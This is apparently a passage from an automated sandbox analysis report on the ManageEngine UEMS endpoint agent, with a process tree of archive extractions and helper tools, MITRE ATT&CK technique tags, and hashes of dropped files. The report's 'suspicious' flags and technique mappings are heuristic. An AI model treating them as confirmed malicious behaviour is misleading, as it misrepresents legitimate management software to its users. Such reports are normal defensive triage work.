      cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json""
      4⤵
      Executes a command shell one-liner
      PID:2464
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so
        5⤵
        
        PID:4244
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json""
      4⤵
      Executes a command shell one-liner
      PID:4980
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so
        5⤵
        
        PID:1472
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json""
      4⤵
      Executes a command shell one-liner
      PID:3280
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so
        5⤵
        
        PID:2712
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json""
      4⤵
      Executes a command shell one-liner
      PID:4540
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so
        5⤵
        
        PID:796
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" *
      4⤵
      PID:4204
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" coveragex.exe
      4⤵
      PID:4568
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" *
      4⤵
      PID:4560
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll
      4⤵
      PID:3096
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-details.json.gz" *
      4⤵
      PID:1512
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-patch-scan-data.xml.gz" *
      4⤵
      PID:2808
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\patchresource-vul.xml.gz" *
      4⤵
      PID:2456
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\applications-vul.xml.gz" *
      4⤵
      PID:928
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-scan-data.xml.gz" *
      4⤵
      PID:2536
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\meaap.exe" -m 1 -a 7093261d-e605-4137-be02-f2a185eeaad2
      4⤵
      PID:3248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3140
  - - C:\Windows\SysWOW64\systeminfo.exe
      systeminfo.exe
      4⤵
      System Location Discovery: System Language Discovery
      Gathers system information
      PID:4560
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:5792
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
    bin\dcinventory.exe -i postinstallation 0 1
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Suspicious use of WriteProcessMemory
    PID:1440
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exe
      dcmetroapps.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4132

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1904
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 1
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:5320
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 2
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:3556
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 4
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4968

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:6044

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3608
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exe
  CRU_Reporter.exe -RegisterCRU
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:780
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks SCSI registry key(s)
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 9
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    PID:4296
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
  7 0 0
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:4528
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
  bin\dcstatusutil.exe RequestAgentSlotFromServer
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:4992
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2148
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4636
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2664
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
  3 0 0
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2284
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
    bin\dcinventory.exe -p processor compatibility
    3⤵
    PID:2008
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exe
    refresh
    3⤵
    PID:5232
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\\OSDetection.json.gz" OSDetection.json
    3⤵
    PID:3504
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml1680.tmp" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml1680.tmpnew""
    3⤵
    - Executes a command shell one-liner
    PID:4728
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml1680.tmp" -so
      4⤵
      PID:3012
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
    3⤵
    PID:3508
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
    3⤵
    PID:6024
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
    3⤵
    PID:3972
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll
    3⤵
    PID:4524
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" coveragex.exe
    3⤵
    PID:3312
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll
    3⤵
    PID:4436
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcnacprocess.exe
    3
    3⤵
    PID:2880
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe" -m 1 -c Refresh
    3⤵
    PID:796
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n a8171afd-f23a-419b-9bb8-146a20bb61fd -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" -c blm -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BitLocker-metadata.json" -a 2
      4⤵
      PID:5036
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\"
        5⤵
        
        PID:480
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n d57c4dc4-daa3-496d-85ce-28fc06cd5c6e -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" -c dcm-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\DeviceControl-metadata.json" -a 2
      4⤵
      PID:1692
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
        
        dcagenttrayicon.exe -r
        5⤵
        
        PID:5644
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
        
        dcagenttrayicon.exe
        5⤵
        
        PID:5496
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\"
        5⤵
        
        PID:3016
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
        
        dcagenttrayicon.exe -r
        5⤵
        
        PID:6084
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 50a5c86a-eafc-11ed-a05b-0242ac120003 -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\ECEASetup.zip" -c ei_win_64 -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EndpointIntelligence-metadata.json" -a 1
      4⤵
      PID:3612
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\ECEASetup.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\EndpointIntelligence\installer\"
        5⤵
        
        PID:5888
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\installer\ECEASetup.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\installer\ECEASetup.exe" -install
        5⤵
        
        PID:3424
      - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEABundle.7z"
        6⤵
        
        PID:8
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exe
  DCProcessMonitor.exe
  2⤵
  PID:6076

C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe"
1⤵
PID:4576
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\BitLockerMgmt\bin\4\BitlockerMgmt.exe
  BitlockerMgmt.exe -svd -lff "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\..\data\GlobalVariables.json"
  2⤵
  PID:4620
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesDevCtrlSummary.exe
  -s ET_ENUM 9 2 "Unknown"
  2⤵
  PID:2036
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\BitLockerMgmt\bin\4\BitlockerMgmt.exe
  BitlockerMgmt.exe -genblrk -lff "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\..\data\GlobalVariables.json"
  2⤵
  PID:4192

C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEAService.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEAService.exe"
1⤵
PID:3316

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5922b5.rbs

Path C:\Config.Msi\e5922b5.rbs
Size 63KB
SHA256 c33a660839a4085f283585de4e92862da66df20fdefab93f1fcc77726b40f007
MD5 69842f1aa259cb48b41be106dbbdd362
SHA1 d4c620074f3a5508305db45d2a22c3e6013042fd
SHA512 18c3a88cb5537df54e601cb9db75b9fa3333af4a9f63fa5125cc8db2153c842e958903f09673542a71acae762260400a556831e3fbde7f33d142ffd1c959b00e
SSDEEP 768:cJcvw1oOjihMzYXyjDO+GLLtj5OA8qOCsPiJim4I5BVbh:J8oGihXUDO+2REOMwbh
TLSH
T142538366DB26E2CBD1152AF63382AD1806098C7B66F0C47E13186D37C4DBB457EBF858
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e5922bb.rbs

Path C:\Config.Msi\e5922bb.rbs
Size 546B
SHA256 2bf76ec1387000f0126e61b21f2080f6cdb96f7adfe6bed55b1d9e755ebe1776
MD5 3904a0489c9d4edab345c23aa0d72e2a
SHA1 ab0e1cacc1ee861352e33a4df20ee6e97c8434f3
SHA512 457bff95d2d26effa3efa14f5174af92e0967c2a3e3f34078b372d6b31cfa2712883c1fbaf1fea5fa3aeab6f15ed038b2846e8e13f3d0c47209356c033b62cc1
TLSH
T10EF09E97F74C4AE2D5A16A3752030F11162BE57A919483752D8922306E2630E6EBA1DD
MD5 SHA1 SHA512 TLSH

Submit Download

client.p12

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
Size 1KB
SHA256 e764b3671fda94038d84a060a0e0059fe35c3b231601c60bf016b475af9a7253
MD5 e3e1efc6080892094375c5d5b976aa57
SHA1 50b382ff18560c02614e8b7e68b3bf88bcc5f540
SHA512 c31f2a41144f5ef78a2b295876d60023edbded6920d9dc41517d1d23763fcdb8268532cfd5adc090bd4c5824349c4430e08688077c960855e0b92899d9429818
TLSH
T16A218473443DA4C4BE62E69B288C8E12B282CBE61AC8010B3137025A0D24230B11A672
MD5 SHA1 SHA512 TLSH

Submit Download

7za.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
Size 839KB
SHA256 0c1874ed0b16b12d4adbb56a89a009a7647337fa509bc90ff00189d92dd46925
MD5 4d3c1bffc7d1cb8f9539d3d5856646e2
SHA1 c33c0a5de8dfb721024e8bf35884a0becc4c4041
SHA512 8e5f6eae54d3d8d936a73be54b3f9508191eaa4e4d8c72b80de6df666749fccfd3ed66d29a4af80bcf7364ed5ebe9afaf8cfcd598cb0e0d68bfeafe2b84d6ca1
SSDEEP 24576:+cyxh7By5I3a+m8H/v9rgC1zCjz/qNdChzDsa4X+we:+cU7Ssa+m09UAWzKRa0e
TLSH
T19F05AE127BE5D0BBD25211318B1DBBF691F993680B2448CB67808F5C7B319D1DA3AA1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ClientAuthHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
Size 3.1MB
SHA256 8f695827d5da38e3212f12a793d7edd812c988377e8d9dd705c0c05054c60eab
MD5 25373dbd9ee688b020e82bdee137d004
SHA1 ad2724eab9af8c5e3abcbbccc0e30fd066026262
SHA512 29807698c145cba23e442048fc8982afbb66da8fad448392e130eabc328eb81fa0f09b1aab67cad1fd1a28f6927e18180e0df8d52409a11960628e1f63d9f696
SSDEEP 49152:oBFbCjco4g+HbEiuNIRym0ez9KyVkQ1jGsAisPvEzUmoT4qG9Ad4vfqUhcFkF:qFb+cFEiumRzl4yVkGjGsbMXx4v
TLSH
T1F9E59E07FB87D1B1DD8E027811F69B7F4D3A8E148B24C9D39B9028AED8761D0563A36D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UEMSAgentCryptoHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
Size 459KB
SHA256 164bbf4957fc038c81f91a9f524be23ba0efe669743c20a81a327a7a82772e37
MD5 bd6830ac847d73a6e7fa3546b2bdaef2
SHA1 0a6be17ab3bdd3e1b1b0f4b5bd4ffd735a5d5c62
SHA512 0c950f18bb25b92e256441cfe0479687252ec74a866c07975157f0d82148cf6ac9354460732e11658cfe1f71a9ca8e334b69f6d87637dd3be3106526b855ae42
SSDEEP 12288:TKaInplDFACLFsvMcJsUAKF/z5xG6U+w79:epnplZ7svgUJ7bs9
TLSH
T13FA48F117545C036D5BE11B10669AFB57ABDAE300FAA08CB93C85D3F4A741C27B36E2E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UEMSAgentHCHelper.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
Size 1.6MB
SHA256 4653b5fcf1a5b647730a61f8149bbf76ad25711dacc0e3d9aa5e2609499e389f
MD5 de5cf867faab8ddab246b2d05a35c10c
SHA1 9d5cc3592a4da9fe7ae7305a4b0efab918cc4b27
SHA512 a4e05dce500e9bef91258af547da77422cf5e7e7971fc22fa87529b65c7304da5bb06672a9ec72c2fe8e35cfb35671e589c3ff22f283aeb673b4949de88b57ae
SSDEEP 49152:pvbUARdxQ64B6ii+QC8M7lYPZPwDKOeSop:pvFRdSYZPwDKOQ
TLSH
T122756D317981C036F6A212B259BCBF755BECD5340B6505DB53D80E3E9BA02C36A31A6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UEMSAgentHealthChecker_Temp.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker_Temp.exe
Size 567KB
SHA256 e6eab9dac5ce954d987fbcb833e00b4f9cee56f021395125abecd897d0e1c546
MD5 b74d111d45b9733a45a195c409335f19
SHA1 2198b9007524413cb8a4ff810fe845f1598d4ac0
SHA512 bbc19bb45a4c6a3b13435cbbc2c3319cc7ec257fed047ddfa34be7eb1dec01bb8428522e1b64879a115f413d17524b4340cf6166b8cc83becb41201640a8daf0
SSDEEP 12288:YOHP4P2qU1YYiavV6x9kkWVm9NaRM3DDjxdAyButi7:YOgP2qCLMWVm9GgDDj94i7
TLSH
T1C9C49D15F5409437E1A251F1497CEB78656DF9304BAF09C7B3C88E695A30AC3BB3263A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentregister.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
Size 244KB
SHA256 5795a796e0aad7012072372c05f9a078e050eb4e9107b67a8d696e63b252f1c8
MD5 9f9be678bcb37b3cc164f6c05484fb2c
SHA1 a9dac245fcb8ead402651f3b4c77e72a0a6c92fe
SHA512 e6e29a9c8508b7b10c7b6ff13b01de0a9f90d766f5c3d655575111f3e204ee344d3aac23a1342e673dac882686b93ce79f18cd1621145b5ec1a69172ae0a02ab
SSDEEP 6144:eYerSzjG+FvQlPDJiJ1MBlHBIKCKd7DJ0d:eyTFvoDJiLp7YI
TLSH
T157349E61B5D0C032D872143749B8DBB56A7DB9200B7699CF63984E7FDF302C29B31A5A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentservice.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
Size 1.5MB
SHA256 32855e5a5b0c9aa3f86d049113a6c0b34f9eb16d888c952db9019ffea67a7d59
MD5 ab2f669d3962659567fa28407ce495c5
SHA1 0256585c6e592041145979fc6633743bbdcce332
SHA512 4bbbb56935ffdce4262ed5dfb8ab6c14828b1abc2eb4d7bb46a804a498728947b9ea9d3f490d36bb595cd0e420e5baa1627078f2074508de21007c2a03478da7
SSDEEP 24576:kTHbv2Ovm5DIi7aj+6ZuGlxfstEfVWptZ4LtYOF28wVHG36k4PtxKIyS9:++7aJDkiMtZqYG36K3S9
TLSH
T12B65B003B2428071D1A141F15A39ABB1EF7D9D680B65C4F3E3C46DBD05E0AE1A67E72E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentupgrader_temp.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentupgrader_temp.exe
Size 6.2MB
SHA256 89a2df9972bc6dd36f7e4800341de07a3d81a0be52ba2b5a09042d075013c624
MD5 7ea61e516c101efaa2311b2d6c486ecc
SHA1 045fa0e415bcdd57f6a15a928ba941e86db90a00
SHA512 db66646fb2eb7e8f08d5068cba4c3967f3601ecd3aade2351783879a875f5f79c3a1ff80015b949e3b85dc44d463ee0adcb3f617c4efecc405c92755ee158d24
SSDEEP 98304:IFdefN5LWaq3PYE3iO72E8XL1fv4FH4TW/JYCV:IFdqN5i3wU72E8fAqMV
TLSH
T1CF66AE02B783C071EAD2027449B5BBBB197EEE104F35C6C7A3903A6D9C726C19937769
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

quick-updates.json3036.tmp

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\quick-updates.json3036.tmp
Size 101KB
SHA256 59012dbad6157abfbc13ed56db01b4cd5ecd4a2c3b449e541817a97e49b5102c
MD5 7ea4e9b4df08f199c3aee7d92b4e016a
SHA1 7b59dce5f180ab8d7621c853b289a929a85c744d
SHA512 f9e4afe10d1aa19f23efa615349498ae3d1f4f2a3c9417106a85ed331f4d63d238ce451490ad63db87aca09b13b068de928313e7a1cd83221f972458ddad8b07
SSDEEP 192:04BU1XznrfTvLkGdHpf1/5HYSjFP9r1/Noa1vpPFfB/3UbBGZW0c4XM+FvxYVB8p:YRhPOc5FOBYJjK9Hcd6xszJ8g
TLSH
T173A39859D620DE43965A96B250088C01332E137BBC8D7BE0379DA63D5F0C65F0A7E76E
